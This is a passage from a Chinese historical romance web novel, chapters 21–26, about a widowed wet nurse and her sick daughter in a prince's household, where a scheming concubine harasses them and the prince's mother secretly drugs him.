“王爷,妾身送你。”她气喘吁吁,腰扭得像柳枝,满头的发钗晃得人眼花。 谢黯叹了口气,摇了摇头:“小叔运气不太好。” “不是挺好看吗,是他自己选中的美人。”沈姝好笑道。 谢黯想了想,又叹了口气,嘀咕道:“一点都不好。” “该去学堂了。”沈姝给他理了理衣衫,温柔地说道。 “这个给小妹妹。”谢黯从怀里摸出一只小巧的锦盒,放到沈姝的手心。 “多谢小公子赏赐。”沈姝笑着道谢,把谢黯交给了护送他去学堂的侍卫。 从院中走过时,耳房的窗子推开了小半边,锦宝儿伸出半个小脑袋,朝她甜甜地笑。 别人家的孩子都吃饱了,她的宝儿还饿着! “娘亲马上就回来,给你拿好吃的。”沈姝朝宝儿挤了挤眼睛,朝着小厨房飞奔。 煮面,打一个荷包蛋,端着香喷喷的面往耳房跑。 “站住。”吴南枝去而复返,气势汹汹地拦住了沈姝。 沈姝停下脚步,正色看向她:“吴姨娘有何吩咐。” “你就是小公子的奶娘?”吴南枝上下打量着她,描得漆黑的眉眼紧皱起来,质问道:“打扮成这样,是想勾引王爷不成?” “吴姨娘,我的衣裳和府的婢女一样。”沈姝气笑了,这吴南枝真会找茬,果然欲加之罪何患无词。 “娘亲。”锦宝儿寻出来了,快步跑到沈姝身边,拉住了她的裙摆。 “你竟然还带着孩子?呵,一看就是个小狐狸精。”吴南枝看着锦宝儿,刻薄地嘲讽道。 锦宝儿反过小手摸了摸自己的小屁股,仰起小脸看吴南枝,大声问道:“婶婶你见过狐狸吗?” “什么婶婶?”吴南枝噎了一下,恼火地问道:“见没见过狐狸又怎样?” “狐狸长着这么大的尾巴……”锦宝儿双手比划着,软呼呼地说道:“还长着漂亮的毛毛,它是最可爱的狐狸。” 吴南枝被锦宝儿绕得有些晕,一时间竟不知道怎么回她。 “你说锦宝儿是狐狸,果然不错,锦宝儿就是世上最可爱的宝宝啊。”锦宝儿又比划了一下手势,笑眯眯地仰高了小下巴。 “说得对,娘亲的宝儿就是世上最可爱的宝宝。”沈姝笑了,带着锦宝儿就往回走。 锦宝儿牵着沈姝的裙摆,小脚步迈得很有力,一步一步又一步,头顶的小发髻跟着她的小脑袋一晃一晃一晃。 吴南枝感觉自己的脑袋都要被这臭丫头晃晕了!她啐了一口,小声骂了句更难听的话,转身就走。 回到耳房,只见桌上的小陶炉咕咕地响,参药汤快好了。 沈姝把面放到锦宝儿面前,语气轻快地说道:“吃!娘亲做的,天下无双的青菜面!” 锦宝儿欢欢喜喜地趴在桌边往碗里瞅。 好香的面啊,还有翠绿的小青菜和荷包蛋。王府真的太好了,有这么美味的吃食。 “香的!娘亲也吃。”锦宝儿用筷子卷了面,小胳膊高高地抬起来,要喂沈姝吃第一口。 “娘亲吃过了,宝儿自己吃。”沈姝坐在桌边看她吃饭。 她的宝儿,一碗素面就吃得很开心了。总有一天,她也能让宝儿天天吃上放满肉的面。 “娘亲,那就是王爷的儿子吗?”锦宝儿大口吃着面,看着院子里的人问道。 “是的。”沈姝顺着她的视线看过去,吴南枝抱着长生正和婢女们说话,还不时往她这边看。 “宝儿,咱先喝药。”沈姝有些不安起来,这药还是得早点喝了才安心。 她把宝儿的面拿开,把参汤药倒进碗里,吹了吹热气,用勺子舀了一勺喂宝儿。 第22章 吃糖,疼惜 锦宝儿看着黑乎乎的汤药,握起小拳头给自己打气。 “不怕不怕!喝光光!” “嗯~!喝光光!” 沈姝把勺子喂到她的嘴边。 锦宝儿张开嘴,小心地喝了一口…… 啊,好苦啊!锦宝儿的舌头都要苦掉了啦!她皱起小脸,闭上眼睛,又张开了嘴,让沈姝把药往她的嘴里倒。 沈姝忍着心疼,把汤药喂进她的嘴里。 锦宝儿马上闭上小嘴巴,忍着苦意咽下去。小身子缩起来,小脸儿皱得更厉害了。 “不怕不怕。”她适应了一下,又张开了小嘴巴。 “喝完这一口,宝儿就吃口糖。”沈姝把一块糖霜放到宝儿手里,硬着心肠给她喂了一大口。 反正都是苦,早点喝完就好了。 锦宝儿用力忍着,可还是没忍吐,吐出了一小口。黑乎乎的汤药挂在她的下巴上,她的眼泪倏然滚落。 “不怕不怕!”她拖着软软的哭腔,用小手捏住了自己的小嘴巴。 沈姝的眼睛一下就红了,她放下药碗,把糖剥开了,小声说道:“宝儿吃口糖。” 锦宝儿咬了小小的一口,又朝着沈姝张开嘴。 “沈娘子这是在干什么?”吴南枝突然出现在窗口,探进了身子往里面看。 “没什么。”沈姝忍着火气,伸手想要关窗。 “啊,原来你女儿有病?有病也能进主院吗?她是什么病啊,疫症?我的天,会不会传给小公子和长生?”吴南枝见状,转身就往小门跑。 她才有疫症! 沈姝沉着脸,转身去关门,但是晚了一步,吴南枝硬生生闯了进来。她双眼直勾勾地盯着桌上的药,扑过来就要抢。 “让我瞧瞧这是什么药?” “就是补药,宝儿在补身体。”沈姝一手护着药碗,一手护着宝儿,“姨娘还是去看着二公子吧,初来乍到,不如多去府上转转。” “你只是个奶娘,还敢教我做事?我这就去禀告老夫人,你带着病孩子进府了。”吴南枝挑起一抹恶劣的笑,朝着沈姝逼近:“老夫人若知道此事,你和这病孩子马上就会被扔出去。” 锦宝儿这时候踮起脚尖,捧起药碗就往角落里跑。 “诶,小东西,你别跑啊,把药给我!”吴姨娘面色一沉,立刻去抓宝儿。 “吴姨娘!”沈姝抓住吴南枝,把她往外拖,“这是下人住的地方,您还是出去的好,莫要脏了你这身好衣裳。” “咕噜咕噜……” 这时身后传来了动静。 沈姝转头看,只见锦宝儿仰着小脑袋,大口大口地喝着药。 娘亲好辛苦才给她找来的药,不能被这个坏蛋抢走了! “不怕不怕。”她咽了最后一口药,胃被苦得直抽抽,小手儿捂在嘴上,强迫自己全咽下去。 最后一口咽下,锦宝儿差点就全吐出来。她难受地捂着嘴巴,拼命地往喉里吞咽。 “宝儿。”沈姝赶紧跑过去,把宝儿抱起来,单手倒了盏清水喂她喝下。 锦宝儿喝了一口水,马上又捏上了小嘴巴。 她真的太想吐了…… “吃糖。”沈姝看到她的小脸变得惨白,整个人都慌了。赶紧去桌上拿那颗糖,想喂她吃。 “唷,还有糖呢。”吴南枝一把夺过了糖,举到了宝儿面前:“你想吃吗?” 宝儿张开小嘴巴,刚想咬住糖,吴南枝手指一松,那糖就直直地掉了到了地上,吴姨娘抬起一脚,直接踩在糖上。 “吴姨娘!”沈姝出离了愤怒,都是当娘的,她怎么能这样干! “给我。”这时一双骨节分明的手伸过来,不待两个女人反应,锦宝儿已经从沈姝怀里转到了谢砚凛的怀里。 “谁啊!”吴南枝一脸懊恼,转身看向来人。 待看清面前站的是谢砚凛,她当即就换了副委屈的表情,垮着肩,楚楚可怜地抹眼泪:“妾身不是故意的,妾身是想喂宝儿吃药,她生病了。” 谢砚凛冷冷地扫她一眼,手掌一挥,把吴南枝一掌打了出去。 “滚。再敢踏进这里半步,我要你死无全尸,” 吴南枝摔在地上,额上磕出了血,她挣扎着爬起来,连滚带爬地跑了。 ”谁敢放她进来,下场同她!“ 谢砚凛抱着锦宝儿坐下,手掌托着她薄薄的背,轻轻地揉搓着。小家伙瘦小的身子一直在抽抽,可是仍然坚持捂着嘴巴不肯把药吐出来。 “药,吐掉。”谢砚凛把宝儿放到膝上,手掌在她的背上轻拍。 锦宝儿摇头,她只要再坚持一会儿,药就全部进肚肚了。 “糖!”谢砚凛转过头,眼神凌厉地扫向院中的婢女们,“传府医!” 婢女们赶紧散开,去找糖,去叫府医。 沈姝蹲在锦宝儿面前,手在她的背上轻轻地揉着,红着眼睛哄她,“宝儿咽不下就吐掉,没关系的。” 锦宝儿的眼泪啪嗒啪嗒地往下掉,滚烫的眼泪打在谢砚凛的手背上,烫得他的心都跟着疼了起来。 “糖来了。”一名婢女捧着糖飞快地冲了过来。 谢砚凛拿了一块糖喂到锦宝儿的嘴边,“吃。” 锦宝儿张开小嘴,任谢砚凛把糖喂进嘴里。 甜滋滋的,比她以前吃的糖都甜,这甜味很快就在嘴里融化开,透过她的喉咙往胃里一直甜进去,那股苦得她胃抽抽的感觉也渐渐平息下来。 “再吃。”谢砚凛又喂了她一块。 锦宝儿吃了糖,仰起小脸,大眼睛眨巴眨巴看谢砚凛。 “好些了吗?”谢砚凛问。 锦宝儿点点头,软糯糯地说道:“王爷,你要是我娘的儿子就好了。” 如果娘亲有王爷这样壮壮的儿子,谁都不能欺负她和娘亲! 沈姝…… 谢砚凛:…… “宝儿想要壮壮的哥哥。”锦宝儿软绵绵地说道。爹爹回不来了,哥哥可以要一个吗? “宝儿不能乱说话,他是王爷。”沈姝蹲到宝儿面前,用锦帕给她擦干净小脸。 “王爷,赵大夫来了。”卫昭一手拎着赵大夫的木箱,一手半拽半夹着赵大夫,大步如风地冲了进来。 他方才在路上遇到去请府医的丫鬟,得知是宝儿生病,于是扛着赵大夫就跑回来了。 赵大夫双脚落了地,气得白胡子直颤,扶着差点掉下来的蓝色小帽瞪卫昭:“卫将军你是想杀了老夫吗?” 突然他一双满是褶皱的眼睛瞪大了,快步走向了沈姝和锦宝儿。 “这个孩子我在哪儿见过?” 第23章 酸意,拜堂 “赵大夫,你在哪儿见过宝儿?”卫昭好奇地问道。 “有两年了,那时候我还在鹊山寻药。”赵大夫又看沈姝,拈着胡子笑了起来。 鹊山在北方,她果然是在北方生下的锦宝儿。谢砚凛心一沉,如此说来,地方也对不上了。那时两方交战,陆路和水路都被切断了,不可能有人能怀着孕从京城逃去北方。 “原来是老人家。”沈姝认出他,连忙行礼。宝儿两岁的时候先天之疾发作,恰好遇到了赵大夫,宝儿救命的方子正是赵大夫给的。 “老夫给你看看。”赵大夫托起她的小胳膊给她拿脉,半晌后才道:“沈娘子确实费了心血了,这孩子原本是活不过三岁的,真让你给养活了。如此有缘,那我就再开一方给她!” “多谢老人家。”沈姝喜出望外,赶紧又朝赵大夫行了个礼。 赵大夫开了药,谢砚凛立刻安排人去熬药。沈姝给宝儿擦干净小脸,换了身干爽的小衣裙,把她放到软软的被子里,哄她睡觉。 锦宝儿抱着小布老虎,一个劲地往沈姝身后看。谢砚凛和卫昭都站在门口,耳房太小了,挤不下他们这么多人,所以没进来。 眼看锦宝儿看向他们,卫昭咧着嘴笑:“宝儿别怕,叔给你买香喷喷的糖糕。” “那还不去买?”谢砚凛冷着脸看向卫昭。 “马上就去,还有……这个给王爷。”卫昭一拍脑门,赶紧从怀里掏出一封信。 连夜去查了吴姨娘的来历,不过情报还不齐整,还要等之后探子报回来的消息。 谢砚凛展开密信一目十行地扫过去,用力揉成一团丢给卫昭。 吴南枝当年确实由牙婆引见给孙嬷嬷,当时牙婆带来的不止一人,还有三名妇人,最终孙嬷嬷挑中了吴南枝。 “抓紧找。”谢砚凛说道。 “是。”卫昭抱拳行礼。 “王爷,赶不及上朝了。”一名侍卫上前来说道。 天光大亮,他早朝已经迟了。 院门口,吴姨娘牵着长生从角落里窜出来,探着头往院里看。 “娘,父王为什么对那个小丫头,比对我好?他都不看我。”长生疑惑地问道。 “因为她是小狐狸精,姓沈的是大狐狸精。真是倒了霉了,怎么会遇上她。”吴南枝眼珠子转了转,拉着长生就走:“走,娘带你去见祖母。” “娘,这王爷的家产以后真的是我的吗?”长生问道:“我天天能吃烧鸡,吃肘子?” “当然。”吴南枝抓紧他的手,小声道:“但你得先哄得祖母开心,记住,今天一定要哄得祖母把这死丫头赶出去。” “知道了。”长生点头。 …… 耳房里。 锦宝儿已经睡熟了,沈姝把洗干净的小衣裙搭在绳子上,就晾在后窗口。小布老虎上沾到了一些药渍,她用小刷子刷干净,放到窗台上晒着。 此时的她有些庆幸,幸亏谢砚凛允许她带宝儿入府来住,不然哪会再遇到赵大夫?只可惜她今日得罪了吴姨娘,一旦她去老夫人那里告状,老夫人还不知道肯不肯让她继续留下。 不过也无所谓了,参药已经服下,离开王府也没太大关系。她多赚钱,以后还给谢砚凛就是。 “沈娘子,老夫人要见你。”赵姑娘用力推开耳房的门,倨傲地看着她。 果然来了。 王府庶长子的地位果然不一般,生母才受了气,老夫人马上就来为她撑腰了。 她担忧地看向宝儿,她现在去见老夫人,宝儿谁来照顾? “能否晚一些再去,待孩子醒了,我即刻过去。”她恳求道。 “你敢不听老夫人的?”赵姑娘扫了一眼宝儿,冷笑道:“我劝你识趣点。” “沈娘子,之后几天小公子的膳食你要做什么?大厨房要采买备菜。”刘昭娘的声音从门外传了进来。 沈姝看向门外,刘昭娘正一脸不耐烦地看她。 “她啊,只怕是做不了,刘管事找别人吧。”赵姑娘嘲讽道。 “做不成是她的事,我们厨房得提前备好了,这是规矩。沈娘子赶紧告诉我便是。”刘昭娘催促道。 “水鸭汤,冬瓜羹,豆腐煲……”沈姝一一报着香料和食材。 “我可记不住,拿纸笔来,我记下。”刘昭娘嚷嚷着,大步走了进来,挤开了赵姑娘一屁股坐到了板凳上。 “你赶紧的。”赵姑娘挤不过她,气恼地往外走。 沈姝心里明白,刘昭娘是听到宝儿生病了,寻了借口过来帮她了。 “长公子是战死的,你夫君亦是,只管提便是。”刘昭娘埋着头,用只有沈姝听到的声音说道。 “多谢昭姐姐。”沈姝心思略转,便懂了刘昭娘的意思。 “我们拜了堂,在牢里。”刘昭娘头埋得更低了。 还有这样的事?半晌后,沈姝噙着泪轻声唤道:“嫂嫂。” 屋里静了会儿,只听得刘昭娘极轻极轻地应了一声:嗯~ “快去吧,我看着她。”刘昭娘小声催促道。 沈姝收拾好心情,只身到了老夫人的院子门外。 老夫人失去长子长媳,谢砚凛又曾经重病差点不治身亡,经历这两件事之后,她不过五十多岁的年纪,一头黑发早已白尽。此时她正坐在院中的芙蓉树下,笑呵呵地看着长生。吴南枝跪坐在她的腿边,殷勤地给她捏着腿。 “老夫人,沈娘子来了。”方嬷嬷上前回话。 老夫人笑容浅了浅,朝着崔长生招手:“长生,让丫头们带你后面玩去。” “是,祖母。”崔长生行了个礼,跟着丫头们走了。 婢女引着沈姝进来,跪下给老夫人行礼。 “抬起头来。”老夫人端起茶盏饶了一口,不紧不慢地说道。 沈姝抬头看向她,恭敬地说道:“民妇给老夫人请安,祝老夫人福寿安康。” “嘴倒是乖巧,难怪小公子和王爷都看中你。”老夫人看向沈姝,视线落在她素白的脸上,怔了一下,随即脸色沉了下来,“竟还是个美人胚子,你既长着这样的脸,就不该来做奶娘。” 吴南枝立刻俯过去,小声道:“她一直在王爷面前晃,想引得王爷……” 沈姝听得清清楚楚,她往前挪了几句,磕了个头,大声打断了吴南枝道。 “回老夫人的话,身体发肤皆是爹娘恩赐,不过奴婢是靠手艺养活女儿和小姑子,还要感谢老夫人赏饭吃。奴婢的丈夫是战死的,奴婢此生誓为丈夫守节,绝无二心。” 第24章 失控,池水 谢老夫人听她说完,心里那股不满的感觉淡了几分。她又认真打量沈姝几眼,说道:“你一个妇道人家,拖着个病孩子,还有个跛脚姑子,确实艰难。” 眼看她心软,吴南枝赶紧说道:“她女儿生着病,传染给两位小公子可如何是好?老夫人,妾身也会照顾孩子,不如把二公子也交给妾身照顾。” 老夫人思索片刻,说道:“二公子刚刚寻回,黯儿只怕还不习惯,此时换掉奶娘,不妥。再等一段时日,从长计议。” 吴南枝脸色沉了沉,随即挤出笑来:“老夫人思虑周到,是妾身错了。” “你也是为孩子好。”老夫人摆摆手,看向沈姝说道:“你且退下,好好服侍小公子,不要再生事端。” 沈姝行了礼,恭顺地退出去。这一关算是过了,且等宝儿服完三剂药,她便再也不怕。 这时门外传来了一阵笑声。 沈姝抬眸看去,几个衣团锦簇的贵妇人说说笑笑地来了,身后跟着一群奴婢,手中都捧着礼盒。 沈姝认出了其中两个,赵王妃和崔明珠的二嫂,崔二夫人。想必是听闻谢砚凛有了庶长子,所以赶来道贺。 她侧身让路,恭敬地弯了腰,向几人问好。 几个贵妇看也没看她一眼,直接进了门里。沈姝定了定心神,飞快地往回走去。 殿内,一群贵妇人围着崔长生看了又看,都说像谢砚凛。 “凛王耳朵真治不好吗?”崔二夫人小声问道。 谢老夫人叹了口气,轻声道:“他的耳朵是被火药震坏的,天下名医寻了个遍,都说没法子治。” “可惜了。”众人连声叹息。 “他和常阳郡主的婚事可定下了?”赵王妃摇着团扇,好奇地问道。 “还没,他自打耳朵受了伤,性子也古怪了,凡是他不愿意的事,谁说也没用。”谢老夫人抚着谢长生的脑袋,轻声道:“幸亏有了个儿子,我倒也不急了。” “正妻可以缓缓,服侍他的人他也不要?凛王正当年纪,莫不是……”赵王妃的话戛然而止,但话里的意思大家都听懂了。 “胡说什么,他好得很。”谢老夫人赶紧说道。 “夫人莫急,其实本妃的意思是……正好庶长子接回来了,不如趁机给他纳上几房妾室,温香软玉绕指柔,说不定他这性子又转回来了。”赵王妃笑吟吟地说道。 几位贵妇人刻点头应和,和谢夫人说起了自家的女儿。 宫里皇帝年少,才十几岁,她们家的女儿年纪等不得,若是能进凛王府,那也是好去处。庶长子生母出身低,而她们府上的女子进府就是侧妃,若崔敏嫁不进来,正妃也是可能的。 谢老夫人想着儿子那冷淡的模样,不禁担心起来。莫不是真被赵王妃说中了?莫非是因为四年前那晚,药用猛了? 若真是如此,那她岂不是害了谢砚凛? 不行,晚上得试试!她是怕了,一场战事两个儿子差点都折损掉,她得让谢砚凛早点成亲,开枝散叶,为谢家多多诞下子嗣。谢家基业不能断在她这里。 …… 夜里,一直等到锦宝儿睡下,谢黯和谢砚凛都没回来。晴芳过来知会了她一声,是老夫人把叔侄二人叫过去了。他儿子刚寻回,多亲近一些也是正常的。 沈姝准备好第二日的早膳食材,挑着小灯笼回耳房。从院中穿过时,她突然听到浴殿方向传来一声闷响,似是有什么东西摔地上了。 谢砚凛回来了?可她一直看着门口,没见有人进来啊。 院子里很静,在主院中,叔侄二人晚上休息的时候,从来不让婢女进院来,沈姝是谢黯的奶娘,这才破例让她住在耳房。眼看无人过去看人究竟,沈姝便掌了一盏灯,去了浴殿。 里面点着灯,灯光幽暗。沈姝把自己的灯放到门口,试探着推了推门,那门被她一下子推开了。 往里面看,只见池前轻纱飘动,后面竟躺着一个人。 “王爷?”沈姝走进殿中,小心地唤了一声。 那人一动不动躺着,一点反应也没有。沈姝快步走过去,掀开纱帘,看向了那人。 还真是谢砚凛。 他衣袍大敞,胸口有几个鲜红的指痕,一只手垂在池水里,身边还放了只碗,里面堆着冰块。而他的衣袍之下,显然已经躁动到了一定程度。 她赶紧别开脸不看,跪坐下来,扶起他的头,急声唤到:“来人。” 蓦地,谢砚凛抓住她的手,哑声道:“别出声。” 沈姝怔了一下,小声问:“那怎么办。” “用冰。”谢砚凛抓了把冰块,用力摁在胸膛上,手掌用力划过,又落下几道红痕。 “这可抓可不行。”沈姝看得心惊,连忙摁住他的手。 谢砚凛长睫颤了颤,睁开眼睛看她。她的声音缥缈如同空虚之处传来,听不真切。 “你来。”谢砚凛抓着她的手,放进了冰碗里。 手指触到冰块,冻得她一个激灵。 “来。”谢砚凛喉结颤动,抓她手腕的大掌猛地用力。 沈姝赶紧抓了把冰块,顺着他的喉结一点点地往下移动。 她的手心冻得生疼,但碰到他肌肤的指尖又烫得要命,冰块滑动的地方全是红痕,他身体里还散发出了一阵奇异的香气。 到底是什么药,竟然这么猛烈。 沈姝凑近去,往他身上闻了闻。就在她俯近他的时候,谢砚凛突然一掌扣住了她的后脑勺,下一刻,他的头仰起来,滚烫的唇印到了她的唇上。 冰块毫无作用,她的触碰直接加速了他血管里药物的涌动,此时他已置身于一片滚烫的火海之中,迫不及待地想要饮一口解药。 “谢砚凛……”沈姝喘不过气来,用力地推着他。 谢砚凛被沈姝推开,但很快就再度吻了上去。他翻了个身,将沈姝拢于身上,一只手掌捧着她的脸,滚烫的唇再度寻来。 沈姝这辈子只亲过一个男人,就是四年前那个晚上,目的是把那颗药喂给他。像谢砚凛这样的吻法,她完全没法招架! 第25章 守夜,湿衣 “放开!” 就在她快喘不上来时,谢砚凛终于松开了她,一个翻身,沈姝竟坐到了他的身上。 沈姝挣扎了半天,最后不得不停下。 谢砚凛力气不是她能抵抗得了的,在她喘气时,谢砚凛坐起来,就着这姿势重新吻住了她。 沈姝这辈子只亲过一个男人,就是四年前那个晚上,目的是把那颗药喂给他。她那时笨拙,紧张,满心想的都是赶紧完成大事。 像谢砚凛这样的吻法,她完全没法招架。他滚烫又霸道,毫不给她喘息的机会。 “唔……”就在她快喘不上来时,谢砚凛终于松开了她。 她长长地吸着气,用力把他推倒。 朦胧的烛火拢在沈姝的身上,她的发髻已经散开了,长发如乌绸,一泄而来,发尾飘起,扫到了谢砚凛的鼻尖。他抬手,长指握住那缕长发,轻轻一带,沈姝的身子便跟着那缕发,往他身上俯去。 她彻底慌了!心一横,手起手落,用力拍在他的穴位上。 这招是向宫中禁军统领学的,打击这个穴位能让人短暂地失去反抗力。谢砚凛此时理智全失,她只能用这一招让他安静下来。 握在她腰上的手,终于松开了,他长眉紧皱,双瞳里闪过一抹茫然之色。显然是因为她那一击带来的痛感,让他短暂地清醒了。 “出去。”他闭上眼睛,转开脸不看她。 沈姝立刻从他身上爬起来。 扑嗵一声。 她回头看去,他已经翻身掉进了温泉池里,水面咕噜噜冒着泡泡,半晌不见他冒出来。 糟糕,他没了理智,会在池子里淹死的! 沈姝赶紧又跑回去,在池子里摸了好半天,终于摸到了沉在池底的谢砚凛。 鲜血正从他手掌涌出来,一缕一缕融进热汽腾腾的水里,弄得她满鼻腔都是血气。是他刻意划破了掌心,以放血之法让他自己清醒。 沈姝闻不得血气,之前她闻得太多了,这气味让她头晕目眩。可这时候容不得她退缩,便是出门喊人,等人赶来,他在水底也撑不了多久。 沈姝死命憋着气,用头顶着他的腰,尽全身力气把他往池水上顶去。 不知过了多久,她总算把谢砚凛推到了池子上。力气全用光了,手脚酸软,不停地发抖。在地上瘫坐了好一会儿,她才爬起来,拿了床被子盖在他身上,自己去外面找侍卫。 等到侍卫把他抬去床上,再去请赵大夫来,四更的更鼓声敲响了…… 沈姝拖着沉甸甸的腿回到耳房,看着被谢砚凛撕成破布的衣裳,又气又无奈。王府给每个婢女每季就发两身衣裳,这身坏了,再领去就得花钱。 能不能让谢砚凛赔钱? 她郁闷地换了身干爽衣裳,合衣躺在锦宝儿身边。现在她只能躺小半个时辰,还要起来准备早膳。 真累啊~ 她明明是来给谢黯做奶娘的,怎么还要伺候谢砚凛呢?如此一来,他合该给她两份例钱才对。 她迷迷糊糊地躺了会儿,强撑着浆糊一样的脑袋去小厨房做饭。忙碌回来,锦宝儿自己穿好了小衣裳,坐在桌边等她。 她给宝儿下了一碗云吞,滴了几滴香喷喷的麻油。锦宝儿看到云吞,一双大眼睛立马笑弯了。 “是云吞!”她小手扶着碗,鼻子凑近去,用力闻了闻,乐呵呵地说道:“一大碗云吞!锦宝儿要吃光光~” “吃吧。”沈姝看着锦宝儿,满心的郁闷一扫而光。 她苦了很久很久,老天爷都看不下去了,所以赐给她一个锦宝儿! 锦宝儿一口一只云吞,小腮帮子塞得鼓鼓的,一双小脚丫在地上晃了又晃。 沈姝见她自己吃得好,便埋头补被谢砚凛撕坏的衣裳。 “宝儿~给王爷请安!”突然,锦宝儿把筷子一放,双手搭在额头前,朝着窗外行礼。 沈姝吓得一个激灵,针尖直直地刺进了手指,痛得她直抽气。抬眸时,只见谢砚凛站在门口,乌沉沉的眸子直直地看着她。 干吗干吗,他干吗这样看着她?不会是想灭口吧! 快瞧瞧他这眼神吧,幽黑得像是随时要化身为妖孽,把她的气给吸光! “王爷想吃云吞吗?”锦宝儿爬上凳子,用小木勺舀了一只云吞,伸出窗子去喂他。 谢砚凛总算把视线从沈姝脸上收回去了,他托着锦宝儿的小手,埋下头吃了那只云吞。 沈姝又生气了!他怎么连孩子的云吞都吃。这云吞本属于她的份例,她早上特地只吃了一个馒头,把云吞给了宝儿。 她要加月例钱! “宝儿~恭送王爷!”锦宝儿两只小手搭在额前,仰高了小脸,很大声地叫了一句。 院子里的婢女都乐了,过来和锦宝儿说话。 “王爷听不见,宝儿以后不必行礼。”晴芳笑着说道。 “那宝儿大声说话!娘亲说这是规矩,宝儿是个很有规矩的宝宝。”锦宝儿拍着小胸脯,大声表扬自己。 “哦,宝儿是很有规矩的宝宝。”众人更乐了,逗着锦宝儿去和她们玩。 沈姝放下针线活,走到院门口,悄悄往院门外张望。这一望把她给惊着了,谢砚凛还没走,和卫昭在院门外站着,卫昭正拿墨盒写字给他看。 沈姝缩回了脑袋,轻手轻脚地走开。 “沈娘子!”卫昭的声音从身后追来。 沈姝背一僵,加快脚步往回溜。她希望自己也聋了,听不到。 “沈娘子。”卫昭追过来,把一只钱袋给她:“王爷给你的。” 沈姝接过钱袋掂了掂,沉甸甸,起码有十两。 赔她衣服钱?这么说昨晚的事他部都记得! 沈姝的脸一下就红了,匆匆和卫昭道了声谢,捧着银子回屋藏好。过几日拿给拢烟去,让她存进钱庄,慢慢攒,总能攒到足够的钱,买个小院子。支个小摊,做点小买卖。 日子,这不就好起来了吗? …… 王府路上。 谢砚凛一路急步进了谢老夫人的院门。 谢老夫人正带着谢长生在树下玩耍,吴南枝陪在一边,堆了满脸殷勤讨好的笑,见他进来,脸色一变,扑通一声跪在了地上。 “母亲为何又这样?”谢砚凛从他面前过去,冷着脸,沙哑地质问。 他昨晚带着谢黯来用晚膳,母亲说想到了大哥,要与他喝一杯。不想一杯下肚,人就倒下了。醒来时,人躺在吴南枝的榻上,他打晕了吴南枝,这才回了自己的浴殿。 “你不能说这么多话,当心嗓子。”谢老夫人赶紧让人把谢长生带下去,继续无奈地说道:“我是为你好,你这一直不肯娶妻,外面传得难听。你是谢家如今唯一的指望……” 谢砚凛打断老夫人,眼神更加凌厉:“母亲把我当人了吗?四年前如此,如今还是如此!” 那时他中毒昏迷,母亲迫不及待地给他留种娘子。清醒后听到的第一句话却是母亲说:为何死的是轻寒?砚凛中了剧毒还能活着…… 谢砚凛如今想到那句话,心口都裂疼得要命。 “你快别说话了,当心嗓子。”眼看他的嗓子越说越哑,谢老夫人连忙上来轻拍他的胸膛。 谢砚凛挡开谢老夫人的手,看向了吴南枝。她缩在地上,抖个不停,头都不敢抬。 “这不怪她,是我让她做的。”谢老夫人连忙拦到吴南枝面前,“她一个女人,带着孩子漂泊困苦多年。如今你不肯要她,我就不强求了。可你若为难她,我可不依!” “是吗?困苦?”谢砚凛盯着吴南枝,嘴角抿出一丝冷意。 第26章 册子,寻花 “妾身、妾身真的很苦。”吴南枝咣咣地磕头,眼泪说流就流,很快就在地上滴出一汪水渍。 “砚凛此事不能怪她。”谢老夫人看不下去了,又上来求情。 谢砚凛看着吴南枝簪了满头的珠花,冷笑起来。 当真困苦,那孩子不会长得这般高大壮实,而是像锦宝儿小小一团,惹人怜爱。吴南枝也不会水蛇腰圆盘脸,而是会像沈姝一样瘦到腰如柳,不盈一握。 那才是真正的漂泊困苦,三餐不继,浑身是伤。 谢砚凛脑海里映出沈姝抱着锦宝儿的样子。母女皆布衣,无脂粉无钗环,沈姝全身上下最值钱的就是头上那支木头镶石头的簪子,可能也就值个十文八文。 但沈姝都没说过困苦,这女人哪敢说出这两个字! “王爷,老夫人,常阳郡主和安王来道贺了。”方嬷嬷快步进来,向二人鞠躬行礼。 “南枝你先退下。你身份低,不好见贵客。”谢老夫人说道。 吴南枝如释大赦,给二人磕了个响头,慌慌张张地往后面走。 谢砚凛盯着她的背影,眼神如寒刀,似是现在就要把她剖开。 五次滴血都成功了,这件事实在让人费解。他问了赵大夫,赵大夫也说不出原因,除非这孩子真是他亲生。 谢砚凛不知道当年那个晚上,到底发生了什么事。莫非那女人生了孩子,但已身死,这孩子被吴南枝捡到,养到现在? 那宝儿呢?宝儿真的不是他的女儿? 他想割开宝儿的手取血的念头又窜上来了。 可那孩子小小的,软软的,手指头细得要命,一刀割下去,只怕要疼上好半天。 谢砚凛一点、都不想让那孩子疼。 “难得,今儿凛王又在府里。看来,敏妹妹的心愿要成了。”霍寻安从院门走进来了,手里握着一只锦盒,一双桃花眼扫过院子里的年轻婢女,最后才看向谢砚凛。 崔敏今日穿得很是端庄淑女,桃花裙,珍珠钗,连走路的步子都收小了不少。 “凛王哥哥。”她双手搭在腰前,向谢砚凛行了个礼,末了,又看着谢老夫人行了个礼:“老夫人。” “敏儿今日这是怎么了?如此淑女。”谢老夫人乐呵呵地扶起她,打量着她说道:“好看,我们敏儿越发地端庄了。” “太后教我的,说凛王哥哥喜欢淑女,为了凛王哥哥,我都能改。”崔敏亲昵地挽住了谢老夫人的手臂,眼睛往四周寻看,“那孩子呢?怎么没出来。” “来人,把长生带出来,给安王和郡主磕头。”谢老夫人道。 方嬷嬷立刻安排人去叫谢长生,没一会儿就把他带了出来,让他给二人磕头。 崔敏认真看了他几眼,皱着眉说道:“模样倒是像,但没有凛王哥哥的气势。” “小王瞧着倒不错。”霍寻安探着头看谢长生。 谢砚凛抬步想走,他平常就不爱看到这两个人,每天无所事事,四处闲逛。近来尤其喜欢往他这里跑,一呆就是大半日。 “别走啊,本王自己掌嘴,是本王多嘴了。”霍寻安拦住他,握着锦盒往他自己的嘴巴上打。 “你少啰嗦,”崔敏大声道:“你赶紧把礼物拿来。” 霍寻安打开锦盒,里面是一只通体透绿的玉佩。 “高僧加持,给凛王府庶长子戴上,增福添寿。”霍寻安把锦盒捧到老夫人面前,一脸笑容地说道。 “安王有心了。”谢老夫人接过来,连声道谢。 “老夫人喜欢就好。”霍寻安笑吟吟地打开扇子,一边摇,一边在石桌前坐下,仰头看谢砚凛:“凛王喜得贵子,小王早该来贺,可惜太后让小王办点小事,耽搁了。” 这霍寻安以前本是个不受宠的皇子,贪财好色,不知强占了多少良家女。可他当年竟扛住了晋王的拉拢诱惑,愣是带着他府上三瓜两枣的府兵,在城门口一直战到最后。 